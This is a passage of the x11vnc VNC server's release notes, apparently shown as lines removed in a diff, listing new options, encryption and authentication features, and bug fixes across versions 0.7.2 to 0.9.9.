- Also delayed is the use of the XFIXES cursor fetching
- functionality; this avoids an Xorg bug that causes Xorg
- to crash right after the user logs in.
-
- x11vnc now tries to be more aggressive in keeping up with VNC
- client's framebuffer update requests. Some broken VNC
- clients continuously spray these requests at VNC servers
- (regardless of whether they have received any updates
- or not.) The -extra_fbur option allows one to fine tune
- the setting.
-
- The "-display WAIT:cmd=...", -find, -create modes now work
- correctly for the user-supplied login program scheme
- "-unixpw_cmd ...", as long as the login program supports
- running commands specified in the environment variable
- "RFB_UNIXPW_CMD_RUN" as the logged-in user. The mode
- "-unixpw_nis ..." has also been made more consistent.
- The username option "tag=..." can be used to set FD_TAG.
-
- The -stunnel option (like -ssl but uses stunnel as an external
- helper program) now works with the -ssl "SAVE" and "TMP"
- special certificate names. The -sslverify and -sslCRL
- options now work correctly in -stunnel mode. Single port
- HTTPS connections are also supported for this mode.
-
- The remote control command -R can be used to instruct x11vnc
- to resend its most recent copy of the Clipboard,
- Primary, or Cutbuffer selections: "x11vnc -R
- resend_clipboard", "x11vnc -R resend_primary", and
- "x11vnc -R resend_cutbuffer".
-
- miscellaneous new features and changes:
-
- The fonts in the GUI (-gui) can now by set via environment
- variables, e.g. -env X11VNC_FONT_BOLD='Helvetica -16 bold'
- and -env X11VNC_FONT_FIXED='Courier -14'.
-
- The value of the -timeout option is now also used for the timing
- out of reverse connections. The -timeout exit will
- occur if no client has made it to normal operating state
- (instead of merely trying to connect.)
-
- One can add extra URL parameters to the HTTPS (-ssl) urls
- via X11VNC_EXTRA_HTTPS_PARAMS without needing to edit
- index.vnc. E.g.: -env X11VNC_EXTRA_HTTPS_PARAMS='?GET=1'
-
- One can make the libvncserver HTTP (non-SSL) server listen on
- localhost: -env X11VNC_HTTP_LISTEN_LOCALHOST=1 (this way
- only the single-port VNC+HTTPS is exposed to the network.)
-
- Warnings are printed out at startup if $DISPLAY appears to
- start with "localhost:" (SSH X11 forwarding) or
- "hostname:" (remote X display; will fail w/o -noshm)
-
- The -solid option now uses the DBUS_SESSION_BUS_ADDRESS env. var
- if available. The -solid option now works in xfce.
- If available, the dbus_launch(1) will be used in
- FINDCREATEDISPLAY for gnome sessions.
-
- The bcx_xattach remote control command was added to facilitate
- xattach and x2x desktop cursor switching. Other new
- remote control commands: grab_state, ping:mystring,
- grablocal, resend_cutbuffer, resend_clipboard,
- resend_primary, keycode, keysym, fakebuttonevent,
- ptr, sleep, get_xprop, set_xprop, wininfo, pointer_pos,
- mouse_xy, noop, guess_dbus, DIRECT:query. Remote control
- scripting, -query_retries, and -remote_prefix were
- also added.
-
- In -rawfb mode the X display will not be opened at all unless
- the -rawfb string is prefixed with '+' or -display
- was specified on the cmdline.
-
- For multiple, separate x11vnc instances on the same X display,
- one can rename the X11VNC_REMOTE, X11VNC_TICKER, and
- VNC_CONNECT property names to unique ones.
-
- The -showrfbauth option prints out the VNC rfbauth password.
-
- The XDAMAGE mechanism is now automatically disabled for a
- period of time if a game or screensaver generates too
- many XDAMAGE rectangles per second. This avoids the X11
- event queue from soaking up too much memory.
-
- x11vnc does not switch on server autorepeat if any keys are
- pressed down to work around a recent Xorg server and/or
- gnome bug where the key will never stop repeating.
-
- Thse list of current clients is kept more up-to-date in the
- tkx11vnc gui. Bugs in the gui setpass mode have been
- fixed.
-
- Threads stability is further improved. See under the -threads
- option help info about -env X11VNC_THREADS_NEW_FB_SLEEP=ms
-
- There is an experimental workaround: "-env X11VNC_WATCH_DX_DY=1"
- that tries to avoid problems with poorly constructed
- menu themes that place the initial position of the mouse
- cursor inside a menu item's active zone.
-
- The crypt(3) function is now declared inside the x11vnc code on
- all platforms (not just Linux). To disable this, set
- CPPFLAGS='-DDO_NOT_DECLARE_CRYPT' while configuring.
- (crypt is declared to avoid problems with header files.)
-
- Error reasons are printed for -storepasswd failures.
-
- Two scripts are added to x11vnc/misc: connect_switch and
- ultravnc_repeater.pl
-
-For more information:
-
- http://www.karlrunge.com/x11vnc/
- http://www.karlrunge.com/x11vnc/x11vnc_opts.html
- x11vnc -help | less
-
-
-
------------------------------------------------------------------------------
-
-
-x11vnc 0.9.8 2009-07-08
-
-
-New in the 0.9.8 x11vnc release:
-
- Better reliability for the Java Viewer applet when connecting
- through a Web Proxy via HTTPS. A proxy hostname
- and port can be specified via applet parameters.
- Proxy Authentication via Auth-Basic is supported.
- More x11vnc printout in -ssl is provided to help
- troubleshoot this mode and other ssl connections.
-
- Stability improvements to -threads mode. Running x11vnc this
- way is more reliable now. Threaded operation sometimes
- gives better interactive response and faster updates. The
- threaded mode now supports multiple VNC viewers using
- the same VNC encoding (some only on Linux or enabled
- at build time.) The threaded mode can also yield
- a performance enhancement in the many client case
- (e.g. class-room broadcast.) We have tested with 30 to
- 50 simultaneous clients. See also -reflect.
-
-
- miscellaneous new features and changes:
-
- x11vnc automatically tries to work around an Xorg server bug
- involving infinitely repeating keys when turning off key
- repeating. Use -repeat if the automatic workaround fails.
- Also, the environment variable X11VNC_IDLE_TIMEOUT
- (seconds) is provided.
-
- In -reflect mode the environment variable X11VNC_REFLECT_PASSWORD
- is provided.
-
- The -clip mode works under -rawfb.
-
- The -nounixpw option can disable unixpw mode if an earlier option
- enables it (e.g. -svc).
-
- Scroll detection is skipped for windows with 'OpenOffice' in
- their name.
-
-
-For more information:
-
- http://www.karlrunge.com/x11vnc/
- http://www.karlrunge.com/x11vnc/x11vnc_opts.html
- x11vnc -help | less
-
------------------------------------------------------------------------------
-
-
-x11vnc 0.9.7 2009-03-31
-
-
-New in the 0.9.7 x11vnc release:
-
- Basic support for building with VirtualGL's TurboVNC (an
- enhanced TightVNC for fast LAN high framerate usage)
- encoding and TightVNC modifications. More info:
- http://www.karlrunge.com/x11vnc/faq.html#faq-turbovnc
- and x11vnc/misc/turbovnc/README.
-
- The -ncache_cr option has been fixed and so in -ncache mode
- smooth opaque window motions are now work correctly. Try
- it out to see how smooth it is even on a slow link.
-
- Support for Linux text consoles (virtual terminals, e.g. 1-6)
- is provided via, e.g., 'x11vnc -rawfb vt2' (for virtual
- terminal #2).
-
- This is like LinuxVNC (i.e. text only), it avoids using
- /dev/fb and uses /dev/vcsaN instead (the '-rawfb console'
- mode uses /dev/fb.) With /dev/vcsaN the text terminal
- is accessible even it if is not the currently active one.
-
- The -rawfb option now supports framebuffers with bits per pixel
- less than 8 (e.g. 4 or 1 bpp.)
-
- Reverse connections now work in Anonymous Diffie Hellman SSL/TLS
- mode. Reverse connections also work for VeNCrypt and
- ANONTLS modes.
-
-
- miscellaneous new features and changes:
-
- The included SSL enabled UltraVNC java viewer now has a
- configurable [Home] entry in the drives drop down menu.
-
- In the -create, -svc, etc. modes one can now specify a
- range of X displays to ignore in X11VNC_SKIP_DISPLAY.
- Improvements and bugfixes were made to the find_display
- and create_display scripts. FD_EXTRA option is provided.
-
- The '-rawfb video' option finds the video device file more
- carefully.
-
- The -rmflag option allows a new way to indicate to other
- applications that x11vnc has started.
-
- All of the java applet parameters are now documented in
- the classes/ssl/README file.
-
- There is now a "sendbell" remote control command.
-
- A one-time -padgeom once:WxH mode is added.
-
- Improvements to the CUPS Terminal Services helper mode.
-
- If the X display cannot be opened normally then the env. var.
- XAUTHLOCALHOSTNAME=localhost is tried.
-
- Bugfix for selection transfer to a now non-existent X window
- (Thunderbird can cause this.) Related, the env. variable
- LIBXCB_ALLOW_SLOPPY_LOCK is now set by default.
-
- Bugfix for -8to24 mode due to nonstandard indexed color support.
-
- The libvncserver and x11vnc autoconf/automake settings have
- been improved.
-
- libXrandr include file is now found on Solaris.
-
-
-For more information:
-
- http://www.karlrunge.com/x11vnc/
- http://www.karlrunge.com/x11vnc/x11vnc_opts.html
- x11vnc -help | less
-
------------------------------------------------------------------------------
-
-
-x11vnc 0.9.6 2008-12-10
-
-
-New in the 0.9.6 x11vnc release:
-
- x11vnc's SSL encryption is extended to support the VeNCrypt and
- TLS (older; vino) SSL/TLS security type extensions to VNC.
-
- Anonymous Diffie-Hellman key exchange (-ssl ANON) and Certificate
- Revocation List support (-sslCRL) is added to the SSL
- encryption mode.
-
- The Java viewer applet can now be served up through the VNC port
- (5900) in addition to the normal HTTP port (5800) via
- the -http_oneport option. Previously this only worked
- for SSL connections and HTTPS.
-
- The "-rfbport PROMPT" mode presents a simple gui for the user
- to select a port for the x11vnc service and a few other
- settings. This enables a menu entry for naive users
- that is included in x11vnc.desktop.
-
- If x11vnc is not built with the Avahi Zeroconf library an external
- helper program (avahi-publish or dns-sd on Mac OS X)
- is used instead.
-
- miscellaneous new features and changes:
-
- The default mode for '-ssl' is now the '-ssl SAVE' mode; i.e.
- the generated certificate is saved and reused in
- subsequent sessions rather than being discarded.
- Use '-ssl TMP' recover the old way. This change made
- to for it to be more likely that the VNC Viewer can save
- the accepted cert for future authentications.
-
- The solid background color option works on the Mac OS X console.
-
- The -reopen option enables x11vnc to try to re connect to the X
- display if GDM (or other display manager) kills it just
- after the user logs in.
-
- The -dhparams option can be used to point to your own Diffie
- Hellman parameters.
-
- The -setdefer option allows tuning how quickly updates will
- be sent. Default setting tuned.
-
- The option -zeroconf is now an alias for -avahi/-mdns.
-
- In pipeinput mode, the pipe filehandle is now closed when
- x11vnc exits.
-
- The -sshonly option turns off VeNCrypt and TLSVNC (vino) mod
- leaving only the standard SSL (i.e. vncs://)
-
- For testing, the option -rand in an alias for -rawfb rand -nopw
-
- Minor tweaks to improve CUPS Print tunneling.
-
-For more information:
-
- http://www.karlrunge.com/x11vnc/
- http://www.karlrunge.com/x11vnc/x11vnc_opts.html
- x11vnc -help | less
-
------------------------------------------------------------------------------
-
-
-x11vnc 0.9.5 2008-10-24
-
-
-New in the 0.9.5 x11vnc release:
-
- Symmetric key encryption using the RC4, AES, Blowfish, and 3DES
- ciphers is supported via the -enc cipher:keyfile option.
- The SSVNC unix viewer 1.0.20 and later supports these
- encryption methods.
-
- Server-side scaling can now have different scale factors along
- the horizontal and vertical axes. E.g. -scale 1280x1024
- (same as -geometry 1280x1024) or -scale 0.8x0.75
-
- The -chatwindow option allows a chat window to appear on the
- X console during UltraVNC chats (requires the SSVNC
- viewer package.)
-
- miscellaneous new features and changes:
-
- The HTTP Java viewer applet jar, classes/VncViewer.jar, has
- been updated with an improved implementation based on
- the code used by the classes/ssl applets.
-
- A description and instructions are now printed out when
- X_ShmAttach fails if one tries to attach to a remote
- $DISPLAY (i.e. $DISPLAY is on a different machine from
- the machine x11vnc is running on; this often happens
- with SSH X redirection, X terminal servers, etc).
-
- The -allow option now works correctly in -ssl mode.
-
- The -remap option now works on the MacOSX console.
-
-For more information:
-
- http://www.karlrunge.com/x11vnc/
- http://www.karlrunge.com/x11vnc/x11vnc_opts.html
- x11vnc -help | less
-
------------------------------------------------------------------------------
-
-
-x11vnc 0.9.4 2008-09-17
-
-
-New in the 0.9.4 x11vnc release:
-
- Reverse VNC connections (-connect and -connect_or_exit options)
- work in the -find and -create X session FINDCREATEDISPLAY
- modes.
-
- Reverse VNC connections (either normal or using SSL) can use a
- Web Proxy, a SOCKS proxy, the UltraVNC repeater proxy,
- an SSH connection, or even a CGI URL to make the outgoing
- connection (-proxy option). Forward connections can
- use the -ssh option to set up a reachable redirection.
-
- Support for the ZYWRLE encoding is added, this is the RealVNC ZRLE
- encoding extended to do motion video and photo regions
- more efficiently by way of a Wavelet based transformation.
-
- The session finding and creating modes (-find and -create) have
- been improved to be more reliable and also provide a new
- desktop types (xfce) and new service redirection options.
-
- Support for indexed colormaps (PseudoColor) with depths other
- than 8 is provided (depths 1 to 16 now work).
-
- Java viewer applet source code is provided in the x11vnc 0.9.4
- tarball so now everything can be built from source.
-
- miscellaneous new features and changes:
-
- To unset Caps_Lock, Num_Lock and raise all keys in the X server
- use -clear_all, or by remote control 'x11vnc -R clear_all'
-
- The -autoport option gives more control over the server port
- range that probes.
-
- The -ping option can be used to help keep idle connections alive.
-
- The -finddpy and -listdpy utilities help to debug and configure
- the -find, -create, and -display WAIT:... modes.
-
- Some automatic detection of screen resizes are handled even if
- the -xrandr option is not supplied.
-
- The -advertise_truecolor option can workaround some VNC viewer
- incompatibilities with PseudoColor.
-
- The option '-clip xinerama0' can be used to clip to the first
- Xinerama sub-screen, etc.
-
- If a fast framebuffer read rate is detected the -wait and -defer
- parameters are reduced to 10 and 15 msec, respectively.
-
- Pasting of the selection/clipboard into remote applications
- (e.g. Java) is improved.
-
- Usage with dvorak keyboards is improved. The option -macuskbd is
- available on MacOSX to use the original US keyboard code.
-
- Via a compiler option (-DENABLE_GRABLOCAL) one can use the
- -grablocal n option to filter VNC client input if someone
- at the console has done mouse or keyboard input n secs ago.
-
- The -sleepin option can now sleep a random amount of time between
- min and max time delays (-sleepin min-max).
-
-For more information:
-
- http://www.karlrunge.com/x11vnc/
- http://www.karlrunge.com/x11vnc/x11vnc_opts.html
- x11vnc -help | less
-
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-
-
-x11vnc 0.9.3 2007-10-04
-
-
-New in the 0.9.3 x11vnc release:
-
- This release provides client-side caching to improve interactive
- response. Almost no VNC viewers implement caching which is why
- VNC is slow compared to other remote graphics protocols.
-
- The x11vnc caching will work with any VNC viewer, but they will
- not hide the pixmap cache region that is below the main desktop
- (one must adjust the window manually). The SSVNC Unix VNC viewer,
- however, automatically detects and hides the region.
-
- To enable caching, supply "-ncache n" to x11vnc, where the
- number n, e.g. 10, indicates how much memory to devote to the
- caching scheme.
-
- See http://www.karlrunge.com/x11vnc/#faq-client-caching
-
-For more information:
-
- http://www.karlrunge.com/x11vnc/
- http://www.karlrunge.com/x11vnc/x11vnc_opts.html
- x11vnc -help | less
-
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-
-
-x11vnc 0.9.2 2007-06-18
-
-
-New in the 0.9.2 x11vnc release:
-
- A compile-time bug is fixed for when the OpenSSL library is not
- available or --without-ssl is supplied; previously the
- build would fail.
-
- One can configure x11vnc via "configure --with-system-libvncserver"
- to use a system installed libvncserver library instead of
- the one bundled in the release tarball.
-
- If UltraVNC file transfer or chat is detected, then VNC clients
- are "pinged" more often to prevent these side channels
- from becoming serviced too infrequently.
-
- In -unixpw mode in the username and password dialog no text will
- be echoed if the first character sent is "Escape". This
- enables a convenience feature in SSVNC to send the username
- and password automatically.
-
- miscellaneous new features and changes:
-
- When building from the CVS tree --with-x11vnc must be supplied if
- you want x11vnc to be built. The LibVNCServer release
- tarball no longer contains the x11vnc source.
-
-
-For more information:
-
- http://www.karlrunge.com/x11vnc/
- http://www.karlrunge.com/x11vnc/x11vnc_opts.html
- x11vnc -help | less
-
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-
-
-x11vnc 0.9.1 2007-05-24
-
-
-New in the 0.9.1 x11vnc release:
-
- A new Unix username identification scheme is provided when
- SSL client certificates are used to authenticate VNC
- viewers. The username is extracted from the 'Subject'
- section of the cert. The option is "-users sslpeer="
- which, like "-users unixpw=" already does, will cause
- a switch to the Unix user. This is useful for the
- -find and -create options that try to find an existing
- X session associated with the user or create a new one.
-
- The UltraVNC Java Viewer has been modified to support SSL
- connections. Some bugs were also fixed and some
- improvements added. A patch file and a compiled jar file
- (UltraViewerSSL.jar and SignedUltraViewerSSL.jar in the
- classes/ssl directory) are provided in the x11vnc package.
-
- For the -user option groups are now handled better by using
- initgroups(3), or if finer control is needed one can
- use: "-users user1.group1,..."
-
- When SSL client certification is being used and external login
- programs are being used the env. var. RFB_SSL_CLIENT_CERT
- is set to the clients certificate. Set X11VNC_SSLPEER_CN
- to use the Common Name instead of the certificate email
- address to find the unix username.
-
- miscellaneous new features and changes:
-
- The -wait and -defer defaults were lowered from 30 to 20
- milliseconds, set the values explicitly if this increases
- the load too much for your liking.
-
- In -create mode where a Xvfb session is started, mwm was added
- as a session type. setpgrp(2) is used for the spawned
- process if available. The XKEYBOARD extension is
- enabled (+kb, but it doesn't seem to always work).
- TrueColor is forced to be the default visual (recent
- Xvfb seem to choose DirectColor, this is likely a bug)
- One can also force creating a new Xvfb by setting the
- env. var. X11VNC_FINDDISPLAY_ALWAYS_FAILS (not exactly
- clear what this would be used for).
-
- The WAITBG env. var. enables -display WAIT:... to take place in
- the background.
-
- One can specify the X11VNC_SKIP_DISPLAY env. var. for a list of
- displays to exclude in the FINDDISPLAY action. This can
- also be specified via nd=... as a -unixpw login option.
-
- setsid() or setpgrp() is called for the external command spawned
- by the -gone option (since it may be long lived, e.g. a
- screen locker).
-
- The script "onetimekey" utility is provided in the classes/ssl
- subdirectory that allows a (very long) string representing
- a Client SSL certificate to be provided by the authenticating
- client, or via https cgi script (e.g. after a web login).
-
- Some bugs were fixed in the libvncserver implementation of
- UltraVNC file transfer.
-
-
-
-For more information:
-
- http://www.karlrunge.com/x11vnc/
- http://www.karlrunge.com/x11vnc/x11vnc_opts.html
- x11vnc -help | less
-
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-
-
-x11vnc 0.9 2007-04-18
-
-
-New in the 0.9 x11vnc release:
-
- VNC Service advertising via mDNS / ZeroConf / BonJour with the
- Avahi client library. Enable via "-avahi".
-
- Implementations of UltraVNC's TextChat, SingleWindow, and
- ServerInput extensions (requires ultravnc viewer or ssvnc
- Unix viewer). They toggle the selection of a single window
- (-id), and disable (friendly) user input and viewing
- (monitor blank) at the VNC server.
-
- Short aliases "-find", "-create", "-svc", and "-xdmsvc" for
- commonly used FINDCREATEDISPLAY usage modes (to find
- the user's display or create one, etc).
-
- Reverse VNC connections (viewer listening) now work in SSL
- (-ssl) mode.
-
- miscellaneous new features and changes:
-
- New options to control the Monitor power state and keyboard/mouse
- grabbing: -forcedpms, -clientdpms, -noserverdpms,
- and -grabalways.
-
- A simple way to emulate inetd(8) to some degree via the "-loopbg"
- option.
-
- Monitor the accuracy of XDAMAGE and apply "-noxdamage" if it is
- not working well. OpenGL applications like like beryl and
- MythTv have been shown to make XDAMAGE not work properly.
-
- For Java SSL connections involving a router/firewall port
- redirection, an option -httpsredir to spare the user
- from needing to include PORT=NNN in the browser URL.
-
- A -sleepin n option to delay startup by n seconds to let redirs
- and listening clients to get started.
-
- TightVNC file transfer is now off by default; enable via
- -tightfilexfer
-
-
-For more information:
-
- http://www.karlrunge.com/x11vnc/
- http://www.karlrunge.com/x11vnc/x11vnc_opts.html
- x11vnc -help | less
-
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-
-
-x11vnc 0.8.4 2007-02-01
-
-
-New in the 0.8.4 x11vnc release:
-
- Native Mac OS X Aqua/Quartz support. It exports the full
- display (no X11 server, etc).
-
- This provides an alternative to OSXvnc; some activities
- are faster (and see the client-side caching feature
- -ncache in the 0.8.5 development version for more
- speedups).
-
- x11vnc can act as a VNC reflector/repeater using the
- "-reflect host:N" option. This is useful for large
- classroom broadcasting or demos. You set up a number
- of reflectors to spread the network and CPU load around
- for better response.
-
- A new login mode: "-display WAIT:cmd=FINDCREATEDISPLAY -unixpw ..."
- that will Create a new X session (Xvfb, Xdummy, or
- Xorg) for the user if it cannot find the user's X
- session display via the FINDDISPLAY method. It will
- be re-found upon reconnection.
-
- This enables a simple "terminal services" mode based on
- Unix username and password and where the user does not
- have to memorize their VNC display number, etc.
-
-
- miscellaneous new features and changes:
-
- Option -nodpms to avoid problems with programs like KDE's
- kdesktop_lock that keep restarting the screen saver
- every few seconds even with active VNC clients connected.
-
- The "-N" option couples the VNC Display number to the X Display
- number. E.g. if your X DISPLAY is :2 then the VNC display
- will be :2 (i.e. using port 5902). If that port is taken
- x11vnc will exit.
-
- Wireframe copyrect detection for local user activity (e.g. someone
- sitting at the physical display moving windows). You
- can disable this with the -nowireframelocal option.
-
- To automatically fix the common mouse motion problem on XINERAMA
- (multi-headed) displays, the -xwarppointer option is
- enabled by default when XINERAMA is active. You can
- disable this with the -noxwarppointer option.
-
- By default in -reflect mode -shared is implied (it makes sense),
- use -noshared after the -reflect option to disable this.
-
- The -prog option lets you specify the full path (argv[0]) to
- the program, in case it is spawned by inetd/tcpd and
- cannot determine its path. The path is needed for the
- -http option to guess the http classes directory.
-
- Usually not needed, but there are many options for tuning the
- native Mac OS X mode: -macnodim -macnosleep -macnosaver
- -macnowait -macwheel -macnoswap -macnoresize -maciconanim
- -macmenu.
-
- An option -debug_xdamage has been added for debugging and profiling.
-
-
-For more information:
-
- http://www.karlrunge.com/x11vnc/
- http://www.karlrunge.com/x11vnc/x11vnc_opts.html
- x11vnc -help | less
-
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-
-
-x11vnc 0.8.3 2006-11-13
-
-
-New in the 0.8.3 x11vnc release:
-
- The -ssl option provides SSL encryption and authentication
- natively via the www.openssl.org library. One can use
- from a simple self-signed certificate server certificate
- up to full CA and client certificate authentication schemes.
-
- The -sslverify option allows for authenticating VNC clients via
- their certificates in either -ssl or -stunnel modes.
-
- Certificate creation and management tools are provide in the
- -sslGenCert, -sslGenCA, and related options.
-
- An SSL enabled Java applet VNC Viewer applet is provided in
- classes/ssl/VncViewer.jar.
-
- The applet may also be loaded into the web
- browser via HTTPS, i.e one can use the VNC port,
- e.g. https://host:5900/
-
- See our "Enhanced TightVNC Viewer" project, for native
- SSL enabled viewers.
-
- The -unixpw option supports Unix username and password
- authentication. The -ssl or -localhost and -stunnel
- options (or detection of an SSH tunnel) are enforced in
- this mode to prevent password sniffing.
-
- Coupling -unixpw with -display WAIT:cmd=FINDDISPLAY provides a
- way to allow a user to login with their UNIX password
- and have their display connected to automatically.
-
- Hooks are provided in the -unixpw_cmd and "-passwdfile cmd:,custom:..."
- options to allow you to supply your own authentication
- and password lookup programs (e.g. LDAP).
-
- The "-ultrafilexfer" alias is provided and improved UltraVNC
- filetransfer rates have been achieved.
-
- The -rotate option enables you to rotate or reflect the screen
- before exporting via VNC. This is intended for use on
- handhelds and other devices where the rotation orientation
- is not "natural".
-
- miscellaneous new features and changes:
-
- Similar to -ssl, the -stunnel option starts up a SSL tunnel server
- stunnel (that must be installed separately on the system)
- to allow only encrypted SSL connections from the network.
-
- Option -sslnofail to exit immediately if there are any SSL
- connection failures.
-
- A simpler variant of -unixpw is the -unixpw_nis option that
- works in environments where the encrypted passwords are
- readable, e.g. NIS.
-
- x11vnc can be configured and built to not depend on X11 libraries
- "./configure --without-x" for -rawfb only operation
- (e.g. embedded linux console devices).
-
- Add -cursor_drag to change the mouse cursor during Drag and Drop, etc.
-
- Under the "-connect_or_exit host" option x11vnc will exit
- immediately unless the reverse connection to host
- succeeds. The "-rfbport 0" option disables TCP listening
- for connections (useful for this mode).
-
- The "-rawfb rand" and "-rawfb none" options are useful for
- testing automation scripts, etc., without requiring a
- full desktop.
-
- Reduced spewing of information at startup, use "-verbose" (also
- "-v") to turn it back on for debugging.
-
-
-For more information:
-
- http://www.karlrunge.com/x11vnc/
- http://www.karlrunge.com/x11vnc/x11vnc_opts.html
- x11vnc -help | less
-
------------------------------------------------------------------------------
-
-
-x11vnc 0.8.2 2006-07-13
-
-
-New in the 0.8.2 x11vnc release:
-
- Support for full mouse and keyboard input into the Linux
- console framebuffer /dev/fb0 in -rawfb mode
- (i.e. non-X11) by using the Linux "uinput" driver.
-
- This enables, for example, viewing and interacting
- with Qt-embedded/Qtopia-Core apps on Linux-based
- handhelds, etc.
-
- Options: -rawfb cons, -pipeinput UINPUT More info:
- http://www.karlrunge.com/x11vnc/#faq-qt-embedded
-
- Extension of the display option: -display WAIT:<disp-or-cmd>
- to delay x11vnc's opening of the X display
- until a VNC client connects (useful built-in:
- -display WAIT:cmd=FINDDISPLAY, to find a user's
- display and Xauthority data).
-
- Options -grabkbd and -grabptr have x11vnc try to grab
- the X display when VNC clients are connected to
- prevent a (non-malicious) user at the physical X
- display from performing keyboard or mouse input.
- E.g. remote help-desk support.
-
-
- miscellaneous new features and changes:
-
- -allowedcmds option to fine-tune which external commands
- may be run by x11vnc, rather than shutting
- them all off with -nocmds.
-
- -env VAR=VALUE convenience option to avoid the need of
- setting environment variables before starting
- x11vnc.
-
- -allinput option to enable libvncserver handleEventsEagerly
- parameter (not clear it yields an improvement).
-
- -rawfb rand fun/testing option using /dev/urandom as a fb.
-
- -license, -copying, -warranty option.
-
-
-For more information:
-
- http://www.karlrunge.com/x11vnc/
- http://www.karlrunge.com/x11vnc/x11vnc_opts.html
- x11vnc -help | less
-
------------------------------------------------------------------------------
-
-
-x11vnc 0.8.1 2006-06-03
-
-New in the 0.8.1 x11vnc release:
-
- Improved support for webcams and tv tuners with video4linux
- /dev/video: see the "-rawfb video" and "-pipeinput VID"
- options. (the latter gives a simple keyboard control
- of a tv tuner; see also the -freqtab option for stations).
-
- FBPM support for hardware that provides framebuffer power
- management (it needs to be disabled when vnc clients
- are connected).
-
- The -usepw option will require x11vnc to use a password of
- some sort or otherwise exit immediately. Put it in
- your ~/.x11vncrc so you don't forget.
-
- The command "x11vnc -storepasswd" will prompt for a password
- without echoing and save it in ~/.vnc/passwd
-
- The X CLIPBOARD selection is managed in addition to the
- X PRIMARY selection.
-
-
- miscellaneous new features and changes:
-
- Convenience option for accessing the Linux console: -rawfb cons
- etc. (requires /dev/fb0 to be working).
-
- clipboard/cut-text input can now be managed on a per-client
- basis.
-
- -capslock and -skip_lockkeys options can help make CapsLock work
- better.
-
- The Xdummy wrapper script is included in the source tree.
-
- A mode "-gone popup" as been added.
-
- -24to32 option to avoid 24bpp problems.
-
- -xinerama is on by default.
-
-
-For more information:
-
- http://www.karlrunge.com/x11vnc/
- http://www.karlrunge.com/x11vnc/x11vnc_opts.html
- x11vnc -help | less
-
------------------------------------------------------------------------------
-
-
-x11vnc 0.8 2006-02-13
-
-
-New in the 0.8 x11vnc release:
-
- TightVNC file transfer support is enabled via the extension to
- LibVNCServer added by Rohit Kumar.
-
- The -passwdfile option has been enhanced to handle any number
- of full-access and view only passwords in an easy to
- maintain format, and additional features.
-
- The -8to24 option enables multi-depth viewing on systems that do
- not support -overlay. The 8bpp regions are transformed
- to depth 24 TrueColor before exporting via VNC.
-
- The x11vnc source code has gone through a major reorganization.
- The build has been enhanced and many bugs fixed.
-
-
- miscellaneous new features and changes:
-
- -afteraccept option is like -accept however it enables running
- a user supplied command after client authentication
- has taken place. The RFB_* environment variables have
- been extended.
- -loop option will run x11vnc in an outer loop restarting each time
- (useful for situations where the X server restarts often).
- -slow_fb allows for slow polling for special purpose applications
- (e.g. video). -blackout noptr,WxH+X+Y,... will prevent
- the pointer from going into a blacked out region.
-
-For more information:
-
- http://www.karlrunge.com/x11vnc/
- http://www.karlrunge.com/x11vnc/x11vnc_opts.html
- x11vnc -help | less
-
------------------------------------------------------------------------------
-
-
-x11vnc 0.7.2 2005-07-11
-
-
-New in the 0.7.2 x11vnc release:
-
- The X DAMAGE extension is supported to dramatically reduce
- resource consumption when idle: often 20 times less;
- and to pick up small changed regions more quickly.
-
- DAMAGE sends events indicating damaged (modified) screen
- rectangles to x11vnc. These are used as hints to focus
- the polling and also if the rectangle is below a size
- threshold it is accepted unconditionally (i.e. dragged in
- from the framebuffer). Tuning is possible with -xd_area.
-
- DAMAGE is available on recent Xorg servers and Solaris 10.
-
- -wireframe: Heuristics are used to guess when a window is being
- moved or resized and during this period show only a
- moving wireframe outline. Just like on video cards in
- the 90's, remember? This is to avoid window "lurching"
- when you move or resize one opaquely.
-
- Also, -wirecopyrect applies the VNC CopyRect encoding
- for the moved window. Both are on by default, use
- -nowireframe or -nowirecopyrect to disable (aka -nowf
- and -nowcr).
-
- -scrollcopyrect: Sniff the X11 protocol via the RECORD extension
- and to try to detect window scrolls (e.g. via scrollbar,
- Up/Down arrow, etc). When detected, the VNC CopyRect
- encoding is applied to the scrolled regions for a speedup.
-
- The contents of the scrolling window may only be
- approximate while it is being scrolled: e.g. tearing,
- bunching-up, etc. The heuristics will also miss scrolls
- by certain toolkits or applications, so those will still
- happen the slow way. To disable use -noscrollcopyrect
- (aka -noscr). Tuning is also available, see the -help
- entry.
-
- -listen: Makes x11vnc listen only on a single network interface.
- -localhost now implies '-listen localhost'.
-
- -rawfb: Instead of polling an X server framebuffer, poll a raw
- one (i.e. a mapped file or a shm segment). E.g. for
- the linux framebuffer device:
-
- -rawfb map:/dev/fb0@1024x768x32
-
- This is a bit out of x11vnc's scope but may have some
- interesting applications. Perhaps /dev/video?
-
- -pipeinput: Pipe the VNC user's pointer and keyboard input events
- to a helper program you provide. Two examples are in
- misc/vcinject.pl and misc/slide.pl. Primarily intended
- for use with -rawfb to somehow kludge-up user input,
- but it can also be used by itself.
-
- Improvements for the magnification scaling case (e.g. -scale 2)
- for use in low vision applications. It is faster and
- no-blending :nb now works correctly.
-
- More safety measures are taken WRT remote-control in the
- default mode. See the -unsafe, -safer, -privremote,
- and -nocmds options.
-
- The GUI has been improved, and running with the options "-gui icon"
- presents a small, simple gui instead of the full blown one,
- and "-gui tray" attempts to embed the small icon in the
- system tray. Use "-gui tray=setpass" to prompt for
- session password creation at startup.
-
-
- miscellaneous new features and changes:
-
- -xkb: a simple test is performed at startup to see if it is a
- good idea to apply -xkb mode for the current keyboard
- keymapping (i.e. if keysyms like !, @, [ are otherwise
- unavailable). To disable use -noxkb.
- ISO_Level3_Shift vs. Mode_switch: Set things up in -xkb mode to
- prefer ISO_Level3_Shift over Mode_switch for modtweaking.
- No override; let me know if this causes problems.
- -add_keysyms is now the default, use -noadd_keysyms to disable.
- the added keysyms are periodically deleted.
- -remap DEAD: shorthand for mapping many "dead" keysyms to their
- "un-dead" counterparts, e.g. grave -> dead_grave. For
- some VNC viewers that are unable to send the dead keysym.
- -skip_dups: skip impossible duplicate key events sent by some VNC
- viewers. -noskip_dups to disable (currently off by default).
- -sloppy_keys: try to handle sloppy keyboarding (esp. between
- different language keyboards) where, say, Shift is released
- before the key.
- -norepeat N: ping-pong N times if something else on the desktop
- restores key autorepeating (e.g. session startup). Default
- 2. Also, If the VNC client is idle for 5 min. autorepeat
- is restored.
- -wait_ui: If there is very recent user input, cut the -wait sleep
- time by the specified factor (default 2.0).
- -nowait_bog: Detection is now in place to watch for polling "bogging
- down" (e.g. lots of scrolling text from a long build in a
- terminal) and to sleep more. Use -nowait_bog to disable.
